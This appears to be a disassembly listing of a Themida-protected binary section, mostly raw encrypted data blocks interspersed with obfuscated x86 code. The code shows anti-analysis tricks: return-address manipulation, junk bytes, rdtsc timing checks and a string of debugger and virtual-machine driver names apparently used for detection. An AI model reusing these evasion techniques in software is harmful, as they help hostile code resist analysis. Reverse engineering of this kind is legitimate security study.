dd 869DE6FBh, 0F24B097Eh, 0DC6F7A4Dh, 0AE09176Fh, 4CC424h
dd 14160000h, 48DB345Bh, 0BC7B6A73h, 0F17F12B4h, 356A7549h
dd 0F1806E1Dh, 0D13E4C4Dh, 5DBCD39Ch, 3E73DE31h, 0FFE4FD41h
dd 5F26BBD7h, 24AEDF67h, 374BC647h, 0FADCBAABh, 0E06567h
dd 5F760000h, 0F1E33057h, 0E018A4Dh, 636E06D9h, 1C72A2D0h
dd 98F5BEF3h, 15794277h, 92FCC5FAh, 513DBE7Dh, 3650A5DBh
dd 0ECD4D164h, 47E038DCh, 92DF305Eh, 0C8495F9h, 9AFBCE03h
dd 7FB41FF0h, 3DFCE9F2h, 79120784h, 23F62B96h, 510A2190h
dd 36ABD43Bh, 7A5BC053h, 0F066C659h, 0D749F179h, 0CF887FCCh
dd 4A1D52BDh, 0ECD9E2B7h, 25F6252Dh, 0C2CD5004h, 0CC434A03h
dd 68A7E67Fh, 0B32A7BE9h, 6B32D7EDh, 3C2h, 0A1EE2170h
dd 3E8B8408h, 0DD2AE5A5h, 77C44B44h, 1360AFDEh, 315C9223h
dd 93F891DEh, 0FA962F7Ch, 5F2FC815h, 3A8963B0h, 0F4CA5532h
dd 7349264Dh, 98A01B72h, 47DF5FEFh, 1348C7C3h, 329DA840h
dd 0B54AF273h, 0CDF61974h, 30BC355h, 47DFC984h, 0EE81ECF7h
dd 0D93658F1h, 0A5AED68Ch, 0CDF901C0h, 3849F17Eh, 0DAB56E2Dh
dd 57C24D3Fh, 0FFB8DFC4h, 76497E91h, 810883E3h, 0DEB24DF1h
dd 87BC533Bh, 4B1449B4h, 16717942h, 654DF181h, 0F5BAEF5Ah
dd 133BA041h, 23A3EAF7h, 0F824AEDFh, 0E5h, 0F31C724Ah
dd 20B0B334h, 3F837546h, 8FFEC7ACh, 0A809068Ah, 23F62BE4h
dd 5D6B83B8h, 0D747DF86h, 534E9AB7h, 1DD197A8h, 672F3B2h
dd 39D6B832h, 19083104h, 0B089BFDh, 0BEF31C72h, 61AEDE97h
dd 97849B2Ch, 0F8DA572h, 0C64943A4h, 562BBE91h, 0F718724Dh
dd 0FDB6CD8Ch, 75487D92h, 937C14h, 0F18CB6A0h, 4C41FA49h
dd 0E12E62C3h, 0AEFB064Eh, 9A594851h, 4FC0CA83h, 38625CBCh
dd 651E5004h, 0D55E827h, 38A4302h, 0A2AE544Eh, 0A4CD2CE7h
dd 0F73C1ABAh, 552BD3Bh, 6FEE216Ch, 0EDB346FFh, 7B07CE73h
dd 29000002h, 0C15AA768h, 5EF744CBh, 0FD96E32Ch, 97307D92h
dd 0DCCC19F6h, 977815D9h, 35DAB14Ah, 0CE414FE8h, 69A6E881h
dd 0EBF3421Ch, 4DF4CB9Ch, 722C02DFh, 0EA7F41Bh, 4B428F80h
dd 8215FA92h, 351C7254h, 2ED1C325h, 6A258605h, 329D70A5h
dd 0B55A34FDh, 0BF020B68h, 0E00AD0B7h, 3DA8B347h, 28D4767Eh
dd 8B0C49F2h, 4DB01C46h, 8CD46764h, 57344C81h, 9C4DF16Ah
dd 0AA2A6180h, 7F24AEE9h, 4Bh, 0C0A5AED1h, 99C88001h, 5315A32Eh
dd 0D1FA2EBAh, 0E3765C3Eh, 8A026C74h, 0FA0549F1h, 9939BA3Bh
dd 3C8082BDh, 0BE51BC53h, 86CAC1D9h, 0D294DF1h, 9CA4BBD4h
dd 4DF186EBh, 1F54BBCFh, 16A9B44Ch, 0AED929A9h, 2CFE24h
dd 14500000h, 0A8E8315Bh, 0F4C7FC67h, 0E116F993h, 731B7B0Eh
dd 8547DF5Fh, 0BFD6957Ch, 5FE7A0A8h, 899447DFh, 80CC96F6h
dd 303B49F1h, 0A5AE2DE3h, 6DF901C0h, 7149F16Ch, 0A73AD5B8h
dd 77BE965Fh, 5E329838h, 0ED161C9Eh, 9E09AFABh, 0B63A5169h
dd 9DB94DF1h, 0B4754D44h, 1CA224AEh, 0F4000000h, 0DF5F6823h
dd 0A0858E47h, 8089D9E1h, 697449F1h, 7AA4251Ch, 1CC7CDDh
dd 0AE2755E8h, 57C2CAA5h, 0D3A6DB34h, 363EFD68h, 49F2AD63h
dd 0BD763540h, 0FAF13ED1h, 8BC04F41h, 1247C8C2h, 0D15D43Fh
dd 4DF4AC7Ah, 5A6BFE09h, 631CDB34h, 739CEF2Ah, 6D006B3Eh
dd 3F2FB88h, 0E162D44h, 4DF4AC79h, 2AC24D41h, 0EC2C8C1Fh
dd 0D75007EFh, 3A540DCCh, 9FEF88D5h, 0A5AE3B70h, 1F8001C0h
dd 22ED9F0Ch, 295B8BF9h, 531F2796h, 1B49F181h, 4B03AB9Ah
dd 704F18A7h, 9A1B4432h, 3F871A5Bh, 0A63BB534h, 12B7EBA7h
dd 0A94Bh, 0D53A5700h, 729DEF88h, 11FE8C25h, 0AB642BC4h
dd 47C8C55Eh, 43AB0AFAh, 0DF78C54Ah, 7D1663ACh, 16AFFC13h
dd 704A9778h, 0CD6E1921h, 300D4DF4h, 0C0A5AE5Ah, 0A323F901h
dd 0B1649F2h, 94F6AFD6h, 1273467Bh, 8F629778h, 6CA3EBFCh
dd 708861Fh, 515ABAD2h, 93A7EBE5h, 14FB934Eh, 0AF602EC7h
dd 0B75837F0h, 371CAF82h, 2FEE216Eh, 0DD7119AEh, 6DCEB9E6h
dd 795EF11Eh, 0A3ABC2D1h, 0AFC6BFE4h, 0AB638C97h, 0A5674B3Bh
dd 736EBA4Dh, 0ACF91678h, 5F947B13h, 1198h, 5B140200h
dd 17A8DD32h, 70960C60h, 46D944DBh, 1F72F7E5h, 9CF2BBF0h
dd 1B753E73h, 95F6BFF4h, 117C457Ah, 8D00C9FEh, 0B844D82h
dd 8406CF04h, 0FF8D568Bh, 56D4DB10h, 0BB53E689h, 4, 835BDE01h
dd 348704EEh, 0BD685C24h, 89000078h, 0A668242Ch, 8900003Ch
dd 52502434h, 522830BAh, 5AD08943h, 47679735h, 58C58945h
dd 8904EC83h, 4812424h, 424h, 0EC835E00h, 242C8904h, 9243481h
dd 8F7F3B76h, 76810846h, 3B760908h, 2434FF7Fh, 4C4835Eh
dd 57242C8Bh, 0C781E789h, 4, 8704C783h, 0E95C243Ch, 0FFFD119Dh
dd 75489DB2h, 234ECD7h
; ---------------------------------------------------------------------------
loc_5B2A44: ; CODE XREF: Themida_:loc_5B09AAj
mov eax, 6156EE9h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0EBh, 0B8h, 0C5h
dd 904D576Bh, 0A89A441Ch, 0CC90156Bh, 404E1615h, 0AD16AD07h
dd 0A6AB8B60h, 3AE01A16h, 28C68103h, 6425E1Eh, 587EED5Fh
dd 337B9B5Ah, 74371D3Fh, 2A562615h, 314FF32h, 0D100D614h
dd 98B64D29h, 28262655h, 8A846F2Eh, 0C5391F3Ch, 0A6B98F3Ah
dd 0AE85Eh, 0DD910000h, 0C310915Eh, 14031B01h, 18C18159h
dd 0F00006Ah, 8Eh, 1A666800h, 0D2810000h, 1D8F6BEEh, 6E85Eh
dd 12BD0000h, 66674C16h, 8B5BDC8Ah, 0DD75BB01h, 0E881053Ch
dd 76A6EB76h, 0F081D38Ah, 518F32E9h, 0AE850h, 35B00000h
dd 0CA5FDCE6h, 0E7CE8469h, 36ECBB66h, 0F0815A5Ah, 3519DE8Ah
dd 18991B3h, 8D99BA66h, 6004E983h, 141A00BAh, 0DF0CB941h
dd 836139B8h, 850F01EEh, 0FFFFFFAFh, 8E9D18Ah, 6A000000h
dd 1404F9h, 0E9000000h, 4E5h, 418E8110h, 0DE2BE4A8h, 7DCA4545h
dd 1764ABE4h, 0B3000F7Eh, 91FCF2C3h, 0F398317Eh, 5A36CF1Ch
dd 0BFCF68B5h, 0DA290350h, 0F4CFB5D2h, 13E9C64Dh, 85351C72h
dd 96E571E6h, 662F64CFh, 29BE827h, 854E838Ch, 8D10609h
dd 582F3784h, 2B47DF9Ch, 0B780B520h, 730439D6h, 0CF9ACD5Ch
dd 684E5E1h, 2B967913h, 4E9317F6h, 9A475B89h, 0B6DA3F4Fh
dd 8A1EE59h, 0A13A8788h, 0A9662AEFh, 4B40093Eh, 0E81F6870h
dd 515C47DFh, 0FA09B1E6h, 38F4BE79h, 0F34C91AAh, 8E98C11Ch
dd 47932661h, 5838F19Ah, 7D1324B7h, 751AD392h, 6992659Ah
dd 55A1E355h, 0CFCC5F57h, 0A16E1FD8h, 28E7A36Ch, 75192ABDh
dd 414D659Ah, 5947E05Eh, 0E29BF4EDh, 5D3065AAh, 655DCAh
dd 9AB222BCh, 4000000h, 20315B14h, 415D1E1h, 1045B0DAh
dd 11767E3Dh, 7247DFE0h, 0CBC3D467h, 0B7D9404Eh, 0E5502358h
dd 3D72DDB0h, 0DFDF6825h, 19C83447h, 45D4B770h, 0C295CA45h
dd 7F57C457h, 0AC22BC7Eh, 0Fh, 898604BDh, 49588154h, 3EF0AD26h
dd 140331C4h, 0F1620593h, 10A34911h, 4D828DFFh, 0D2070884h
dd 54898609h, 0AC37AABEh, 0BCC4DBE0h, 47E04ECBh, 8AFDADB8h
dd 3047E04Eh, 0A87BB05Fh, 0EBA40510h, 0B11CEF24h, 4E566D64h
dd 47E04F39h, 0CA45494Ah, 0C457C295h, 0E734DBB3h, 0F41B7231h
dd 0E4FCB435h, 685C4CFAh, 6527F0D5h, 129675AAh, 889FB6CFh
dd 0DF630780h, 0B9697447h, 47DF62CEh, 0A6AC501Ch, 14AC3308h
dd 28657609h, 8D019AE7h, 0A611FE8Ch, 2DE2A871h, 122968F8h
dd 0E0387D0Ah, 60F3FE47h, 0BEC6CD14h, 0B22BC25h, 78h, 0F41B725Dh
dd 71161E35h, 1247DF5Fh, 0C68F7407h, 80164BC4h, 137A756Ch
dd 0C843DFCh, 248F800Dh, 92FB9491h, 107F487Dh, 0F8A3FE41h
dd 51BC9EF8h, 8437531Ch, 0DFA50B7Ch, 26D7847h, 328904CDh
dd 0DFA45D2Ah, 0A8131E47h, 2CE3AA73h, 11C61BCFh, 7D14CDE9h
dd 22BCB975h, 4EC2h, 1B721400h, 9AF6BFF4h, 0FF434075h
dd 938607E2h, 14DD12FDh, 91649976h, 0B86EBB26h, 0D7AF9314h
dd 7CBF7A47h, 0D01E23D8h, 0E679E408h, 2358B7D5h, 0E00E830Bh
dd 0B8573947h, 39D6BA83h, 71705C04h, 647DE96Ch, 0BC51552Dh
dd 18222h, 72D40000h, 0F9C2F718h, 9D457A95h, 57B8D58Eh
dd 70BC4F22h, 0FB147671h, 634851AEh, 739CF227h, 95006B3Eh
dd 8330CED6h, 37F049F1h, 0B487BC53h, 99CED921h, 451BED0h
dd 2DEC236Bh, 4A3A1774h, 0BD66AC32h, 0DBAEE34Eh, 424B6348h
dd 444DF1C4h, 8806E100h, 0A712FD91h, 42CDC15Ah, 0C54A440Dh
dd 0B42DB190h, 6DBA5539h, 0AE9A1878h, 0E9A76024h, 8B1EF126h
dd 0FC89h, 0A3199A00h, 0D2B5BD04h, 0B14DF20Ah, 0BE617DA6h
dd 0AE92C053h, 0F901C0A5h, 49F17729h, 0BD40914h, 0A63F8C83h
dd 29F227E8h, 32EBAA65h, 3E23B659h, 8DFFB85Fh, 3EA3EF82h
dd 0C038C45h, 7942454Dh, 36414DF1h, 1DFC92A3h, 73329D72h
dd 439D6BAh, 0ACA19E31h, 24AEE7D4h, 2701h, 0A4AE5300h
dd 6FF800BFh, 8CC7DF5Fh, 53344C81h, 6BC7DF5Eh, 0F1FB2AB7h
dd 2A3D4504h, 5947DF5Eh, 7A6A014Eh, 0D4000000h, 1C0A5AEh
dd 0F18155F9h, 70A5B049h, 0DB28E7A7h, 8EC34C42h, 0F1881676h
dd 0ECA50C4Dh, 92DE719Eh, 15FA944Fh, 3050D1C8h, 6A02C64Ah
dd 414A1FB2h, 6D8D9554h, 585004E0h, 3F4F184Dh, 0E4F39BD0h
dd 0D4BA5F2Bh, 0C833063Bh, 0E12DC093h, 68708700h, 47E6C01Fh
dd 92F5FD5Ch, 0F147E6BFh, 13E87BE6h, 0A966250Ah, 83777F3Eh
dd 7B49FA30h, 0B346C9C2h, 0EF206A6Bh, 2F7CE7BAh, 0C0A5AE79h
dd 0D001F901h, 3CF549F2h, 0B78ABF50h, 9CD1DC24h, 754BBD3h
dd 0D6395710h, 0B35C3243h, 52E7667Eh, 72863BE4h, 0F51A746Fh
dd 907F0FA8h, 12FD925Bh, 6D2635DDh, 18CED22h, 0B22F7B0Eh
dd 6BB85737h, 1E53BCD2h, 1257h, 0F322C100h, 8ABF503Ah
dd 602C5B63h, 444F47DFh, 721846D9h, 0F2BBF01Fh, 753E739Ch
dd 0F6BFF41Bh, 7C457A95h, 0C9FE11h, 844D828Dh, 6CF040Bh
dd 8D568B84h, 0D4DB10FFh, 8904EC83h, 6F68241Ch, 89000029h
dd 0C4682434h, 89000048h, 0BB53243Ch, 0F896CDCh, 3871CB81h
dd 0F3812F43h, 68CF43A1h, 114F3EBEh, 5BDE3141h, 4EC81h
dd 24890000h, 24048124h, 4, 8B9515Fh, 1000000h, 18F56F9h
dd 243C8B59h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_583BD9
; ---------------------------------------------------------------------------
db 0D9h
dd 0EF7C0383h, 4F3C7CC2h, 258C6340h, 74CAB864h, 0C5030615h
dd 0A4FCE0FFh, 0C5681E9Ch, 374627C0h, 0E4AF3222h, 0F1175636h
dd 6E705F41h, 58C3CBFh, 0FDA02C4Eh, 51C3E24h, 0B2BF1755h
dd 82947D17h, 0C7B2575Ah, 0A6A96E41h, 21B553F4h, 5F67521Ah
dd 77793D5Eh, 42466D3Ah, 256E2E99h, 2DEE3F9Ah, 77347118h
dd 21740E6Ch, 786D067Ch, 0CE827EAh, 91000000h, 839D4F4Fh
dd 0C9C1E27h, 0F8A1062h, 815BCBBFh, 6897C3h, 97E58000h
dd 8166C033h, 0FFB5CADAh, 0CA8B1834h, 0A9E2805Fh, 0BAA7C781h
dd 81662D60h, 81F278EAh, 71408EF7h, 4B0AB949h, 0F7815B36h
dd 644B6B48h, 223FBE60h, 32BF4A53h, 6104E1F4h, 13E957h
dd 54880000h, 751A97E2h, 0B3FD4921h, 0D38C47Ah, 8B40E72Fh
dd 3048F2Fh, 0BDC88160h, 0E83EAED8h, 10h, 8130D387h, 64116C94h
dd 31B7BB23h, 219A8212h, 9E9h, 0FD4CF400h, 0E1F16AD8h
dd 615A9BA0h, 5E9h, 39B03900h, 0E88339B0h, 0F2B70F01h
dd 66484848h, 818BBFBAh, 0FF9824F8h, 64850FFFh, 0FFFFFFFh
dd 34EBD0BFh, 4D534649h, 20205247h, 20444B56h, 20202020h
dd 204D4D56h, 20202020h, 4E495756h, 20203233h, 4C445856h
dd 20205244h, 3 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5B386F
; ---------------------------------------------------------------------------
db 0Fh, 80h, 1
dd 0F9000000h, 8A0F6060h, 12h, 0DE9h, 80B51800h, 0AD331430h
dd 1B4309C6h, 81661DD5h, 61C7ABE6h, 769685C7h, 615h, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 696D17C3h, 898A305h, 0FC68BF9h, 78Fh, 1820F00h, 0FC000000h
dd 0D8B70FF9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 17h, 3C35343h, 60261FD0h, 2810Fh, 61600000h, 61D8B70Fh
dd 6A10E8C1h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1C042444h, 47000000h, 5119C357h, 5C736670h, 66DC81A8h
dd 6008C8C1h, 0C890Fh, 6E80000h, 0C5000000h, 5B692BB5h
dd 61F95830h, 8F0F5660h, 0
; ---------------------------------------------------------------------------
pop eax
popa
mov [ebp+615769Ah], eax
pusha
mov dx, bx
mov cl, ah
popa
ror bx, 8
jo loc_5B3276
cld
loc_5B3276: ; CODE XREF: Themida_:005B326Fj
cmp ebx, 40h
jnz loc_5B32DE
push 0
push eax
call sub_5B328A
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B328A proc near ; CODE XREF: Themida_:005B3282p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_5B328A endp
; ---------------------------------------------------------------------------
sbb esi, [edx-11h]
cwde
mov ah, 99h
or esp, edi
lea edi, [ebp+615766Eh]
push 0
push ebx
call sub_5B32B3
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B32B3 proc near ; CODE XREF: Themida_:005B32ABp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 18h
inc ebx
push ebx
retn
sub_5B32B3 endp
; ---------------------------------------------------------------------------
db 0D4h
dd 73E53BD8h, 1B3E9h, 0CE900h, 0EDF50000h, 7FACE900h, 57B6CD4Fh
db 69h, 0CFh
; ---------------------------------------------------------------------------
loc_5B32DE: ; CODE XREF: Themida_:005B3279j
cmp ebx, 0Dh
jnz loc_5B3380
push 0
push ebx
call sub_5B32F2
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B32F2 proc near ; CODE XREF: Themida_:005B32EAp
; Themida_:005B3302j
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_5B32F2 endp
; ---------------------------------------------------------------------------
ja short sub_5B32F2
retn
; ---------------------------------------------------------------------------
pusha
mov bx, 252Dh
push esi
movzx eax, bx
pop edi
popa
lea edi, [ebp+6157676h]
push 0
push eax
call sub_5B3321
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B3321 proc near ; CODE XREF: Themida_:005B3319p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_5B3321 endp
; ---------------------------------------------------------------------------
inc edi
sub edi, esp
pusha
movsx edi, bx
mov di, 0CCA0h
popa
jmp loc_5B3480
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5B334D
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B334D proc near ; CODE XREF: Themida_:005B3345p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_5B334D endp
; ---------------------------------------------------------------------------
db 6Ah, 16h, 14h
dd 0F632D109h, 0E9769015h, 14h, 7265EB54h, 0BFC079C9h
dd 0F82FD828h, 0D7B3481Bh, 0F704FA8Ah
; ---------------------------------------------------------------------------
loc_5B3380: ; CODE XREF: Themida_:005B32E1j
cmp ebx, 1
jnz loc_5B33E5
js loc_5B3397
loc_5B338F: ; CODE XREF: Themida_:005B33A8j
pusha
movzx ecx, bx
mov di, dx
popa
loc_5B3397: ; CODE XREF: Themida_:005B3389j
lea edi, [ebp+615767Eh]
jo loc_5B33B1
jmp loc_5B33B1
; ---------------------------------------------------------------------------
jmp short loc_5B338F
; ---------------------------------------------------------------------------
dw 0A23h
dd 0EF3E478Fh
db 0D4h
; ---------------------------------------------------------------------------
loc_5B33B1: ; CODE XREF: Themida_:005B339Dj
; Themida_:005B33A3j
jmp loc_5B3480
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5B33C1
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B33C1 proc near ; CODE XREF: Themida_:005B33B9p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_5B33C1 endp
; ---------------------------------------------------------------------------
db 0E6h, 3Ch, 19h
dd 0B64ED257h, 0E8B660D2h, 0E0816652h, 615FB581h
; ---------------------------------------------------------------------------
stc
loc_5B33E5: ; CODE XREF: Themida_:005B3383j
cmp ebx, 2Ah
jnz loc_5B344F
push 0
push edx
call sub_5B33F9
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B33F9 proc near ; CODE XREF: Themida_:005B33F1p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_5B33F9 endp
; ---------------------------------------------------------------------------
and [edx+46023C01h], ch
popa
lea edi, [ebp+6157686h]
jmp loc_5B3427
; ---------------------------------------------------------------------------
db 0F0h
dd 0DE27C38Eh, 0A433FDC9h
; ---------------------------------------------------------------------------
or al, 0EAh
lodsb
loc_5B3427: ; CODE XREF: Themida_:005B3416j
jmp loc_5B3480
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5B3437
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B3437 proc near ; CODE XREF: Themida_:005B342Fp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_5B3437 endp
; ---------------------------------------------------------------------------
db 1Ch
dd 43140062h
db 34h, 0CBh, 0C8h
; ---------------------------------------------------------------------------
loc_5B344F: ; CODE XREF: Themida_:005B33E8j
cmp ebx, 27h
jnz loc_5B3709
clc
lea edi, [ebp+615768Eh]
push 0
push ebp
call sub_5B346A
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B346A proc near ; CODE XREF: Themida_:005B3462p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_5B346A endp
; ---------------------------------------------------------------------------
dw 0C7FBh
; ---------------------------------------------------------------------------
mov bh, dl
or ebp, esi
loc_5B3480: ; CODE XREF: Themida_:005B333Dj
; Themida_:loc_5B33B1j ...
mov [ebp+615769Eh], edi
pusha
or di, 2629h
mov edx, esi
popa
mov ax, cs
push 0
push esi
call sub_5B349D
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B349D proc near ; CODE XREF: Themida_:005B3495p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_5B349D endp
; ---------------------------------------------------------------------------
cmp ah, bh
and eax, 324F82Dh
jmp loc_5B34C2
; ---------------------------------------------------------------------------
db 0F4h, 0CCh, 0Fh
dd 18A160B8h
; ---------------------------------------------------------------------------
mov ah, 19h
loc_5B34C2: ; CODE XREF: Themida_:005B34B4j
or al, al
jnz loc_5B363E
pusha
sub ch, 66h
mov al, 0A5h
popa
js loc_5B34EB
pusha
ja $+6
call near ptr loc_5B34E5+4
pop edx
push esi
loc_5B34E5: ; CODE XREF: Themida_:005B34DEp
mov ds:592EF7E3h, eax
popa
loc_5B34EB: ; CODE XREF: Themida_:005B34D1j
lea esi, [ebp+6157C7Ah]
pusha
js loc_5B3504
call sub_5B3503
mov ebx, ss
db 67h
mov bh, 3Dh
xchg eax, esi
; =============== S U B R O U T I N E =======================================
sub_5B3503 proc near ; CODE XREF: Themida_:005B34F8p
arg_1C = dword ptr 20h
pop esi
loc_5B3504: ; CODE XREF: Themida_:005B34F2j
movzx eax, cx
popa
mov eax, [ebp+6157CFCh]
jmp loc_5B351B
; ---------------------------------------------------------------------------
db 0E8h
dd 0C0451C26h
db 0Bh, 0DEh, 85h
; ---------------------------------------------------------------------------
loc_5B351B: ; CODE XREF: sub_5B3503+Bj
push eax
push eax
push edx
push eax
push edx
jmp loc_5B3531
; ---------------------------------------------------------------------------
db 6Dh, 39h, 4Bh
dd 72887CCEh, 0D36A626Eh
db 25h
; ---------------------------------------------------------------------------
loc_5B3531: ; CODE XREF: sub_5B3503+1Dj
rdtsc
push eax
push edx
rdtsc
pop edx
pop eax
pop edx
pop eax
rdtsc
ja loc_5B3549
push eax
push edx
rdtsc
pop edx
pop eax
loc_5B3549: ; CODE XREF: sub_5B3503+3Aj
pop edx
pop eax
mov [esp-20h+arg_1C], edx
push 0
push edx
call sub_5B3559
and [edx-3Dh], bl
sub_5B3503 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5B3559 proc near ; CODE XREF: sub_5B3503+4Ep
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_5B3559 endp
; ---------------------------------------------------------------------------
db 51h, 0E5h, 21h
; ---------------------------------------------------------------------------
cdq
jl short loc_5B357E
add [esp-2], ecx
jo loc_5B357A
clc
loc_5B357A: ; CODE XREF: Themida_:005B3573j
pop edx
push 0
push ecx
loc_5B357E: ; CODE XREF: Themida_:005B356Dj
call sub_5B3586
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B3586 proc near ; CODE XREF: Themida_:loc_5B357Ep
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_5B3586 endp
; ---------------------------------------------------------------------------
dw 9AD7h
dd 1913ECE4h, 0FCFCDD7Ch, 6024C283h, 1058BA66h, 74D38166h
dd 89666143h, 6AFC72h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1A0424h, 52420000h, 0FFE3EBC3h, 2624E6CDh, 81666060h
dd 0F8AEBFDFh, 0CEC16161h, 0F8606010h, 0D08B6661h, 72896661h
dd 50006A02h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h
dd 0C3504000h, 0B7515698h, 662F2F7h, 830FC23Ah, 7, 1830Fh
dd 0CDF50000h, 8E904h, 48370000h, 1551640Fh, 8B601D91h
dd 6CD081F8h, 6155FA8Ah, 84E9h
db 0, 0F5h
; ---------------------------------------------------------------------------
loc_5B363E: ; CODE XREF: Themida_:005B34C4j
mov eax, [ebp+6157CFCh]
jmp loc_5B365B
; ---------------------------------------------------------------------------
db 0BBh, 0E9h, 85h
dd 0EBF7F614h, 0B9D7381Eh, 25150DEEh
db 53h, 19h, 3Ch
; ---------------------------------------------------------------------------
loc_5B365B: ; CODE XREF: Themida_:005B3644j
lea esi, [ebp+6157C7Ah]
push 0
push edx
call sub_5B366C
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B366C proc near ; CODE XREF: Themida_:005B3664p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_5B366C endp
; ---------------------------------------------------------------------------
sub eax, 0A5FB6A5Ah
sub esp, [eax-4Eh]
push ebp
popa
lea eax, [ebp+6154CD8h]
jle loc_5B369E
jmp loc_5B369E
; ---------------------------------------------------------------------------
db 24h
dd 0D4B3D712h
db 79h, 0A5h
; ---------------------------------------------------------------------------
loc_5B369E: ; CODE XREF: Themida_:005B368Cj
; Themida_:005B3692j
jl loc_5B36AB
pusha
sbb bh, 45h
push esi
pop eax
popa
loc_5B36AB: ; CODE XREF: Themida_:loc_5B369Ej
call eax
jle loc_5B36C1
jmp loc_5B36C1
; ---------------------------------------------------------------------------
dd 0EF539370h, 0A9F0D8D3h
; ---------------------------------------------------------------------------
pop ebx
loc_5B36C1: ; CODE XREF: Themida_:005B36ADj
; Themida_:005B36B3j
mov [ebp+6157696h], eax
push 0
push eax
call sub_5B36D2
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B36D2 proc near ; CODE XREF: Themida_:005B36CAp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_5B36D2 endp
; ---------------------------------------------------------------------------
dw 4943h
dd 3C4A769Fh, 752B111Dh, 0A810Fh, 0F600000h, 86h, 61C78A00h
dd 78A0Fh, 800F0000h, 1
; ---------------------------------------------------------------------------
stc
loc_5B3709: ; CODE XREF: Themida_:005B3452j
popa
push 0
push ecx
call sub_5B3715
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B3715 proc near ; CODE XREF: Themida_:005B370Dp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_5B3715 endp
; ---------------------------------------------------------------------------
db 0FDh, 1Eh, 1Ah
dd 880F6CA6h, 7, 1820Fh, 8BF50000h, 15769685h, 10E906h
dd 4F5D0000h, 0B14D43BBh, 0E50E9879h, 0C459F0A8h, 0F9C3F551h
dd 0BD83F960h, 6157CFCh, 48850F00h, 0F000000h, 581h, 0C1806000h
dd 85C76115h, 6157CFCh, 1013Fh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 18h, 5BC35141h, 0B138289Fh, 0EE9h
dd 68286F00h, 0EE888882h, 74C66E2Eh, 0E9F79287h, 24h, 1E870Fh
dd 0E8600000h, 13h, 25F2E02Ah, 296AA08Ah, 6EC4E04Ch, 0C77C1BFCh
dd 5A93C4B3h, 61D8BF0Fh, 20CDh, 0C00B0000h, 708D3774h
dd 9EBD8B0Ch, 0B9061576h, 8, 492275A6h, 488BFA75h, 9A9D8B30h
dd 3B061576h, 157F3458h, 0D26BD38Bh, 8BCA0304h, 96858901h
dd 0EB061576h, 0EB008B04h, 858B61C5h, 6157696h, 50006ACFh
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 74D38B44h, 0E9F551F2h, 0Fh, 0F7279297h, 4DFC68E2h, 0F3BB9F64h
dd 604BCA51h, 8B0F53h, 5E000000h, 1810F61h, 0F9000000h
dd 6E9h, 0E6C3BF00h
; ---------------------------------------------------------------------------
retn 0F28Dh
; ---------------------------------------------------------------------------
loc_5B386F: ; CODE XREF: Themida_:005B317Cj
mov eax, eax
